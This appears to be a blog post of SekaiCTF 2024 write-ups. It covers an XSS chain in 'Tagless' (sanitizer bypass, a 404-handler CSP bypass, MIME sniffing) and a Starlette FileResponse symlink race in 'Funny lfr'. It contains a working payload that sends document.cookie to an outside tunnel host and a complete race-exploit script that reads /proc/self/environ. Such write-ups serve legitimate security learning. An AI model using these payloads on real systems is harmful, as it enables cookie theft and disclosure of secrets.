SekaiCTF 2024 challenges
These are my writeups for SekaiCTF 2024. The event took place from Sat, 24 Aug. 2024 01:00 JST until Mon, 26 Aug., 2024 01:00 JST.
SekaiCTF 2024 Tagless Writeup
This is a writeup for the SekaiCTF 2024 Tagless challenge.
- Challenge URL: https://2024.ctf.sekai.team/challenges/#Tagless-23
- Challenge category: Web
- Time required: 4h
- Date solved: 2024-08-24
Challenge Notes
Tagless
Who needs tags anyways
Author: elleuch
Solution Summary
Despite a sound Content Security Policy (CSP) in place, the application was susceptible to four vulnerabilities:
- The HTTP error handler allows arbitrary content injection
- HTTP responses do not instruct the browser to stop sniffing MIME types
- Untrusted user input is not sanitized correctly, due to a faulty blacklist-based sanitization function
- A harmless-looking input form allows chaining the above vulnerabilities to a complete exploit
These vulnerabilities allowed me to retrieve the flag.
Recommended measures for system administrators:
- Review web application Content Security Policies (CSPs):
- Review web application
X-Content-Type-Options
headers: - Review HTTP error handlers such as 404 handlers for arbitrary content injections. Learn more about Content Injection, also called Content Spoofing, here
Solution
Download and run app
We download the application source code from the following URL
https://2024.ctf.sekai.team/files/9822f07416cd5d230d9b7c9a97386bba/dist.zip
We review the contents of archive:
unzip -l dist.zip
Archive: dist.zip
Length Date Time Name
--------- ---------- ----- ----
758 08-16-2024 11:19 Dockerfile
60 08-16-2024 11:19 build-docker.sh
59 08-16-2024 11:19 requirements.txt
0 08-16-2024 11:19 src/
1277 08-16-2024 11:19 src/app.py
987 08-16-2024 11:19 src/bot.py
0 08-16-2024 11:19 src/static/
1816 08-16-2024 11:19 src/static/app.js
0 08-16-2024 11:19 src/templates/
1807 08-16-2024 11:19 src/templates/index.html
--------- -------
6764 10 files
The archive contains the following parts:
- A Flask application in
src/app.py
andsrc/bot.py
. - A Docker file to serve the application in
Dockerfile
and Python package requirements captured inrequirements.txt
. - A web page served by the above Flask application in
src/templates/index.html
andsrc/static/app.js
.
Let’s build and run Tagless using the Dockerfile
together with podman
:
mkdir dist.zip.unpacked
unzip dist.zip -d dist.zip.unpacked
podman build --tag tagless --file dist.zip.unpacked/Dockerfile
podman run -p 5000:5000 --name tagless tagless
Understanding the /
page script
The /
landing page can be passed the query parameters fulldisplay
, and
auto_input
.
We investigate src/static/app.js
to understand exactly what happens when the
landing page loads. Here’s the annotated and slightly abbreviated version to
show the code path that we are interested in:
// src/static/app.js
function sanitizeInput(str) {
str = str
.replace(/<.*>/gim, "")
.replace(/<\.*>/gim, "")
.replace(/<.*>.*<\/.*>/gim, "");
return str;
}
function autoDisplay() {
const urlParams = new URLSearchParams(window.location.search);
const input = urlParams.get("auto_input");
displayInput(input);
}
function displayInput(input) {
const urlParams = new URLSearchParams(window.location.search);
const fulldisplay = urlParams.get("fulldisplay");
var sanitizedInput = "";
sanitizedInput = sanitizeInput(input);
var iframe = document.getElementById("displayFrame");
var iframeContent = `
<!DOCTYPE html>
<head>
<title>Display</title>
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
<style>
body {
font-family: 'Press Start 2P', cursive;
color: #212529;
padding: 10px;
}
</style>
</head>
<body>
${sanitizedInput}
</body>
`;
iframe.contentWindow.document.open("text/html", "replace");
iframe.contentWindow.document.write(iframeContent);
iframe.contentWindow.document.close();
if (fulldisplay && sanitizedInput) {
var tab = open("/");
tab.document.write(
iframe.contentWindow.document.documentElement.innerHTML,
);
}
}
autoDisplay();
When the landing page loads with a URL of the form
/?autodisplay&auto_input=XSS
, the above script will do the following:
- Call
autoDisplay()
- Retrieve the
auto_input
URL query parameter. - Retrieve the
fulldisplay
URL query parameter. - Sanitize
auto_input
insanitizeInput()
by: - Removing all strings of the form
<TAG>
or<>
using the regular expression<.*>
. - Removing all strings of the form
<.TAG>
or<.>
using the regular expression<\.*>
(typo?). - Remove all strings of the form
<TAG>...</TAG>
or just<></>
using the regular expression<.*>.*<\/.*>
. - Create a new
<iframe>
with some standard HTML and the sanitized input created above inserted into the<body>
tag. - Open the
<iframe>
in a new window usingopen("/").document.write()
The (abbreviated) <iframe>
contents will therefore look like the following,
for input auto_input=XSS
:
<!doctype html>
<head>
<title>Display</title>
<!-- ... -->
</head>
<body>
XSS
</body>
We note at this point, that the regular expressions above have on fatal flaw.
The period character .
matches anything, except for newline-like characters.
If the snippet we pass contains a tag like <script>window.alert()</script>
,
it will get filtered out.
If we instead add a few carriage return in the right spot, we can fool our
sanitizeInput()
function into leaving us alone.
After messing around in regex101 for a while, I came
up with the following prototype injection:
<script\x0d>window.alert()</\0x0dscript>
Where \0x0d
indicates a carriage return insertion. Inserted into a URL, this
will look like the following:
/?autodisplay&auto_input=<script%0d>window.alert()</%0dscript>
Understanding the /report
endpoint
Next, we study the Python application’s source code to see how we can leverage the above sanitization circumvention into a reflected XSS attack.
Here’s the annotated source for report()
in src/app.py
:
# src/app.py
@app.route("/report", methods=["POST"])
def report():
# The actual Bot() code is described further below
bot = Bot()
# Require `url` x-www-url-form-encoded parameter
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
# URL must be
# 1. valid URL
except Exception:
return {"error": "Invalid URL."}, 400
# 2. start with http/https
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
# 3. must be localhost or 127.0.0.1
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401
# the bot visits the page, but nothing else
bot.visit(url)
bot.close()
return {"visited":url}, 200
else:
return {"error":"URL parameter is missing!"}, 400
The report endpoint is a typical XSS bot endpoint used in CTFs. It is meant to simulate another user opening a link that we provide and triggering a reflected XSS injection.
For example, if we pass the URL http://localhost:5000
to the /report
endpoint, the application spawns a headless browser and visits the URL.
We can achieve this with Curl using the following command:
curl http://localhost:5000/report --data 'url=http://localhost:5000'
To understand what happens when the bot visits the page using bot.visit(url)
,
we look at the Bot
class source in src/bot.py
from selenium import webdriver
#...
class Bot:
def __init__(self):
chrome_options = Options()
# ...
self.driver = webdriver.Chrome(options=chrome_options)
def visit(self, url):
# Visit the application's landing page
self.driver.get("http://127.0.0.1:5000/")
# Add a document.cookie containing the challenge flag
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
# Retrieve the url passed to us in the `/report` POST request
self.driver.get(url)
# Wait a bit, and we are finished
time.sleep(1)
self.driver.refresh()
print(f"Visited {url}")
# ...
If we want to read out the cookie, we need to craft a JavaScript payload that
will read out document.cookie
and send it to an endpoint we provide it using
fetch()
.
We then insert this payload into the landing page /?auto_input=XSS
query
parameter, and instruct the /report
endpoint to open it using the Bot()
:
curl http://127.0.0.1:5000/report \
--data 'url=http://127.0.0.1:5000/?fulldisplay&auto_input=XSS'
In comes a CSP
Unfortunately, while we were dreaming about solving this challenge after only a few minutes, we realize that a Content Security Policy (CSP) is in place, preventing us from injecting untrusted scripts:
# src/app.py
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
The relevant CSP that blocks untrusted JavaScript execution is:
script-src `self`;
With the above code, a browser is instructed to ignore any script sources that
do not come from the page’s origin at http://127.0.0.1:5000
. Should we now
try to inject a JavaScript snippet like the following, it will not work:
<script>
window.alert("xss");
</script>
The browser will refuse to run the above piece of JavaScript, because the CSP
disallows unsafe-inline
execution and only permits self
.
Read more about available CSP source values on MDN.
Therefore, opening the following URL will not work, even if we are able to circumvent the script tag filtering:
http://127.0.0.1:5000/?autodisplay&auto_input=<script%0d>window.alert()</%0dscript>
The only way we can execute JavaScript is by making it “look” like it comes from the application origin itself.
Exploiting the 404 endpoint
We direct our attention towards the 404 endpoint. This is the source code for the application’s 404 error handler:
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
This will return a 404 HTTP response and a nicely formatted response body. If
we open the non-existing URL /does-not-exist
, it will dutifully return:
/does-not-exist not found
We can feed this URL anything, really anything, and it will give us the text back, unchanged. Including something that looks like JavaScript:
http://127.0.0.1:5000/a/;window.alert();//
We receive the following response when opening the above URL:
/a/;
window.alert(); // not found
That is perfectly valid JavaScript. We turn the path starting with a /
into a
stranded regular expression literal, and the trailing not found
into a nice
little comment. This way, we can create any JavaScript snippet and make it look
like it comes from the same origin.
We have therefore found a way to defeat the content security policy.
Missing MIME type hardening
It’s easy to forget about MIME type sniffing
Even better, the application conveniently forgets to instruct the browser to
ignore Content-Type
mime types when evaluating the above not found URL.
X-Content-Type-Options should have been set.
The error page is served as a Content-Type: text/plain
, but our browser
thinks its smarter and will gladly interpret it as
Content-Type: application/javascript
instead. That’s why hardening
applications is so important.
Crafting the XSS payload
We have achieved the following four things:
- We have identified a vulnerability in the input sanitization.
- We found the exact point where JavaScript can be injected into the
/
page and how to extract the cookie flag. - We identified a vulnerability in the 404 handler, allowing us to create same-origin resources.
- We found that a missing
X-Content-Type-Options
header allows us to create arbitrary JavaScript snippet and have the browser creatively interpret it as JavaScript
A little hiccup that I had was swapping localhost
and 127.0.0.1
while
working on this challenge. It is very important to observe that cookie domains
are not interchangeable, even for localhost
. The Bot
’s cookie is set for
127.0.0.1
because of the following snippet in Bot.visit(self, url)
:
self.driver.get("http://127.0.0.1:5000/")
# Add a document.cookie containing the challenge flag
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
We spin up a request catcher using tunnelto.dev
. I
prefer it over ngrok
for two reasons:
- It’s much cheaper than
ngrok
($4 per month). - The client is free software and
available on
nixpkgs
.
I prefer free software for many reasons. NixOS rightfully complains about
running the non-free ngrok
with
long-winded warnings texts when trying to install it.
We start a challenge instance on tagless-XXXXXXXXXXXX.chals.sekai.team
, and
launch tunnelto
with socat
listening.
# Launch tunnelto
tunnelto --subdomain XXXXXXXXXXX --port 4444
# Launch socat
socat -v -d TCP-Listen:4444,fork STDIO
We craft the final payload and store it in payload.txt
:
// payload.txt
http://127.0.0.1:5000/?fulldisplay=1&auto_input=<script src="http://127.0.0.1:5000/a/;fetch('https://XXXXXXXX.tunnelto.dev/'.concat('',document.cookie));//"%0d/></script%0d>hello
Broken apart, the payload is:
// the `/` page url
const url = "http://127.0.0.1:5000/?fulldisplay=1&auto_input=";
// the script we make the 404 handler generate for us
const innerScript =
"fetch('https://XXXXXXXX.tunnelto.dev/'.concat('',document.cookie))";
// the URL that will return the above script
const errorUrl = `http://127.0.0.1:5000/a/;${innerScript};//`;
// the script tag we inject into the iframe
const outerScript = `<script src="${errorUrl}"%0d/></script%0d>`;
// the full payload we want to pass to `/report`
const payload = `${url}${outerScript}`;
“URL!” “Script!” “Payload!” “Evasion!”
“Go Captain XSS!”“By your powers combined, I am Captain XSS!”
Since we don’t like messing with URL escapes too much, we let Curl handle the
task for us using the --data-urlencode
flag:
curl https://tagless-XXXXXXXXXXXX.chals.sekai.team/report \
--data-urlencode url@payload.txt
socat
receives the flag, and we are warmed up without tags.
SekaiCTF 2024 Funny lfr Writeup
This is a writeup for the SekaiCTF 2024 Funny lfr machine.
- Challenge URL: https://2024.ctf.sekai.team/challenges/#Funny-lfr-14
- Challenge category: Web
- Time required: 4h
- Date solved: 2024-08-25
Challenge Notes
Funny lfr
Author: irogir
❖ Note You can access the challenge via SSH:
ncat -nlvp 2222 -c "ncat --ssl funny-lfr.chals.sekai.team 1337" & ssh -p2222 user@localhost
SSH access is only for convenience and is not related to the challenge.
Solution Summary
Starlette’s FileResponse
does not handle files swapped out under it very
well. This can be used to trick it into reading out 0-size files, such as files
contained in the /proc
file system. We read out the flag from
/proc/self/environ
using this method and solve the challenge.
Solution
The steps to solving this challenge are:
- Investigate the source code.
- Test the local file inclusion mechanism.
- Understand how
/proc
file system file sizes work. - Inspect the challenge machine on
chals.sekai.team
. - Identify the conditions for triggering a race condition.
- Craft an exploit script and run it on a challenge machine.
Inspecting the Dockerfile
and application script
First, we download the Dockerfile
and app.py
from the following URLs:
The application is quite simple and just serves any file that the user requests:
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse
async def download(request):
return FileResponse(request.query_params.get("file"))
app = Starlette(routes=[Route("/", endpoint=download)])
The application mainly relies on these three libraries:
To make debugging simpler, we adjust the Dockerfile
a bit to use a full
Debian install and come up with the following:
FROM debian:12
RUN apt update
RUN apt install -y python3 python3-pip python3-venv
RUN python3 -m venv /venv
RUN /venv/bin/pip install --no-cache-dir starlette uvicorn
WORKDIR /app
COPY app.py .
ENV FLAG="SEKAI{test_flag}"
CMD ["/venv/bin/uvicorn", "app:app", "--host", "0", "--port", "1337"]
The application is started up with the challenge flag in its process environment. The challenge can be solved by tricking the application into reading out its process environment and returning it in a HTTP response.
Testing for local file inclusion (LFI)
The Dockerfile
builds and runs with podman
using the following commands:
podman build --file Dockerfile -t funnylfr
podman run --replace -p 1337:1337 --name funnylfr funnylfr
Once the Funny lfr machine is running, we try to see if file inclusion works by running the following:
curl "localhost:1337/?file=/etc/passwd"
To no big surprise, the contents of /etc/passwd
are returned.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
About /proc
file system file sizes
But, the FLAG
environment variable is in the process environment, not in a
file. On Linux, processes can read out various information about themselves
using the /proc
file system. Conveniently, the current process can be found
in /proc/self
. To read out the current processes environment variables, we
can run
cat /proc/self/environ
Wouldn’t it be nice if the following command gave us the flag?
curl "localhost:1337/?file=/proc/self/environ"
Unfortunately, it won’t. Starlette’s FileReponse
class needs to know the file
size in advance to generate a correct Content-Length
HTTP header. Since files
in /proc
have generally a 0
size (with few exceptions), the size can not be
known ahead of the time and the file has to be read out first.
For the above reason, the following response can not be resolved correctly in Starlette:
FileResponse("/proc/self/environ")
Starlette will then wrongly think that the file has size 0, and act all
surprised and error out when there is something to read. Since Starlette’s
FileResponse
does not support streaming responses and has to read the whole
file, the download
request at /
will crash. Interestingly, it will not
crash visibly to the user, unless we purposefully read “too much” of the HTTP
response.
HTTP responses are not meant to have their body read if the Content-Length
is
0
. In hindsight that makes sense, yo. The same goes for a fun bug where
applications refuse to read the body of HTTP responses with the code 204 No
Content. Again, that makes sense, since you would not tell a browser No
Content and then give it a content, but it’s still somewhat surprising to most
users.
Stack Overflow: Why does Firefox have a problem with this 204 (No Content) response?
Before continuing with this conundrum, we poke around the machine a bit and connect to a freshly spawned instance.
Inspecting the machine
We use the SSH connection string as suggested by the challenge notes and connect to a our instance:
ncat -nlvp 2222 -c "ncat --ssl funny-lfr-XXXXXXXXXXXX.chals.sekai.team 1337" &
ssh -p2222 user@localhost
We see that this machines runs on Kubernetes, judging by the contents of the
/etc/hosts
file:
user@funny-lfr-XXXXXXXX-700:~$ df
Filesystem 1K-blocks Used Available Use% Mounted on
overlay 98831908 44033516 54782008 45% /
tmpfs 65536 0 65536 0% /dev
/dev/sda1 98831908 44033516 54782008 45% /etc/hosts
shm 65536 0 65536 0% /dev/shm
tmpfs 32926984 0 32926984 0% /proc/acpi
tmpfs 32926984 0 32926984 0% /proc/scsi
tmpfs 32926984 0 32926984 0% /sys/firmware
user@funny-lfr-XXXXXXXX-700:~$ cat /etc/hosts
# Kubernetes-managed hosts file. <------ kubernetes yoooo
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.0.1.75 funny-lfr-XXXXXXXX-700
Finding a race condition
Investigating the code and determining why Starlette tries to return a response at all, if the file is empty, we stumble upon these pieces of code:
# h11/_writers.py
# ...
class ContentLengthWriter(BodyWriter):
# ...
def send_data(self, data: bytes, write: Writer) -> None:
self._length -= len(data)
if self._length < 0:
raise LocalProtocolError("Too much data for declared Content-Length")
write(data)
# ...
Writing the Content-Length
header appears to be delegated to the h11 library.
On the other hand, Starlette appears to first determine the size of the file
using os.stat
, and then awkwardly sends the file over to the client, even if
it has 0 bytes:
# starlette/responses.py
# ...
class FileResponse(Response):
# ...
def __init__(
self,
path: str | os.PathLike[str],
# ...
) -> None:
# ...
self.stat_result = stat_result
if stat_result is not None:
self.set_stat_headers(stat_result)
def set_stat_headers(self, stat_result: os.stat_result) -> None:
# HTTP header Content-Length comes from os.stat()
content_length = str(stat_result.st_size)
# ....
self.headers.setdefault("content-length", content_length)
# ...
async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
if self.stat_result is None:
try:
stat_result = await anyio.to_thread.run_sync(os.stat, self.path)
self.set_stat_headers(stat_result)
# ...
await send(
{
"type": "http.response.start",
"status": self.status_code,
"headers": self.raw_headers,
}
)
# ...
async with await anyio.open_file(self.path, mode="rb") as file:
more_body = True
while more_body:
# !!!!!
# Starlette will try to read out the full file, even if
# the os.stat() size is 0!
chunk = await file.read(self.chunk_size)
more_body = len(chunk) == self.chunk_size
await send(
{
"type": "http.response.body",
"body": chunk,
"more_body": more_body,
}
)
# ...
Calling send
, receive
, invoke h11
code, including the one shown above.
The h11
and Starlette interoperability is brokered by uvicorn
.
The fact that Starlette reads out the file size, and then still reads file
chunks even if the file size is 0 suggests that the FileResponse
code is
vulnerable to a race condition.
We can trigger the above h11
response error, by running the following Curl
invocation:
curl --http0.9 "localhost:1337/?file=/proc/self/environ" \
"localhost:1337/?file=/proc/self/environ"
By reading too much from the first request, we provoke the application into
running FileResponse.__call__()
until the end and triggering the h11
exception as shown below in the application log. Of course the Curl client
notices nothing and receives a 200 OK response every time.
INFO: 127.0.0.1:56022 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK
ERROR: Exception in ASGI application
[...]
File "/usr/local/lib/python3.9/site-packages/starlette/responses.py", line 348, in __call__
await send(
File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
await send(message)
File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
await send(message)
File "/usr/local/lib/python3.9/site-packages/starlette/middleware/errors.py", line 161, in _send
await send(message)
File "/usr/local/lib/python3.9/site-packages/uvicorn/protocols/http/h11_impl.py", line 503, in send
output = self.conn.send(event=h11.Data(data=data))
File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 512, in send
data_list = self.send_with_data_passthrough(event)
File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 545, in send_with_data_passthrough
writer(event, data_list.append)
File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 65, in __call__
self.send_data(event.data, write)
File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 91, in send_data
raise LocalProtocolError("Too much data for declared Content-Length")
h11._util.LocalProtocolError: Too much data for declared Content-Length
INFO: 127.0.0.1:56026 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK
The following is Starlette’s FileResponse
behavior when reading /proc
file
system files:
- A client requests a file
/proc/self/environ
file from the application. - The file size is evaluated (size 0) and stored in the
FileResponse
class instance. - The headers are set and sent using
h11
(await send({"type": "http.response.start"})
) insideFileResponse.call()
. - The file is read out in the same function using
anyio.open_file()
and read out chunk by chunk (await file.read(self.chunk_size
) and sent usingh11
(await send({"type": "http.response.body", ...})
). h11
will complain that there is nothing to return and crash the request with “Too much data for declared Content-Length”.
If we can convince Starlette that the file has a proper size, we can have it
read out the whole file. /proc
file system file sizes are set in stone, but
we can give it a different file with the correct size, have it os.stat
its
size, and then swap it out for a symbolic to /proc/self/environ
.
Our evil exploit plan will try to trigger the following behavior:
- Our evil exploit chooses an arbitrary size
i
. - Our evil exploit writes a canary file containing
i
times the ASCII characterf
in/tmp/pwnage
(classic debug trick: write easy to spot ASCII chars). - Our evil exploit requests the file
/tmp/pwnage
file from the application. - The file size is evaluated (size
i
) and stored in theFileResponse
class instance. - The headers are set and sent using
h11
(await send({"type": "http.response.start"})
) insideFileResponse.call()
. - Our evil exploit swaps out
/tmp/pwnage
and places a symbolic link to/proc/self/environ
there instead. - The file is read out in the same function using
anyio.open_file()
and read out chunk by chunk (await file.read(self.chunk_size
) and sent usingh11
(await send({"type": "http.response.body", ...})
). - If the file could not be read out, try a different size
i
and go to step 2 - Our evil exploit receives the flag in
/proc/self/environ
through the/tmp/pwnage
symbolic link.
Crafting an exploit Python script
We know that we have to stall the application as much as possible between sending the response header and body. We craft the following exploit in Python:
import os
import os.path
import http.client
import tempfile
from typing import Optional
# The file that we'd like to read out:
target = '/proc/self/environ'
# The smallest size of `i` that we try
min_len = 4
# The largest size of `i` that we try
max_len = 2000
def attempt(len: int) -> Optional[bytes]:
conn = http.client.HTTPConnection("localhost", 1337)
try:
while True:
with tempfile.TemporaryDirectory() as tmpdir:
read_here_path = os.path.join(tmpdir, "read_here")
symlink_path = os.path.join(tmpdir, "target")
# 1. Given size `i`,
# 2. Create the canary file
canary = b'f' * len
with open(read_here_path, "wb") as fd:
fd.write(canary)
fd.close()
os.symlink(target, symlink_path)
# 3. Request the file from the server
# 4. Starlette will think that the file has length `i`
# 5. Starlette sends Content-Length: `i` header back
conn.request("GET", "/?file=" + read_here_path)
response = conn.getresponse()
# 6. Swap the canary file with symlink to `/proc/self/environ`
os.replace(symlink_path, read_here_path)
# 7. Starlette gives us the target file now
data = response.read(len)
# 8. If the file is full of our canary `f` ASCII character, we
# know that the race condition was not triggered
if data == canary:
print("try again")
# 8. If the file is empty, we know that we triggered the race
# condition, but guessed the wrong length
elif data == b"":
print("almost", len)
return None
# 9. If we have a proper answer, we have our file:
else:
print("yes", len)
return data
finally:
conn.close()
def main():
# Try from 4 ... 2000 until we receive a proper response
for i in range(min_len, max_len):
result = attempt(i)
if result is not None:
print(result)
return
if __name__ == "__main__":
main()
We connect to the Funny lfr instance, copy the exploit, and run it there by pasting the following snippet into the shell:
cat > client.py <<EOF
# script from above goes here
EOF
python3 client.py
The script runs for a while, extracts the process environment, and we retrieve the flag.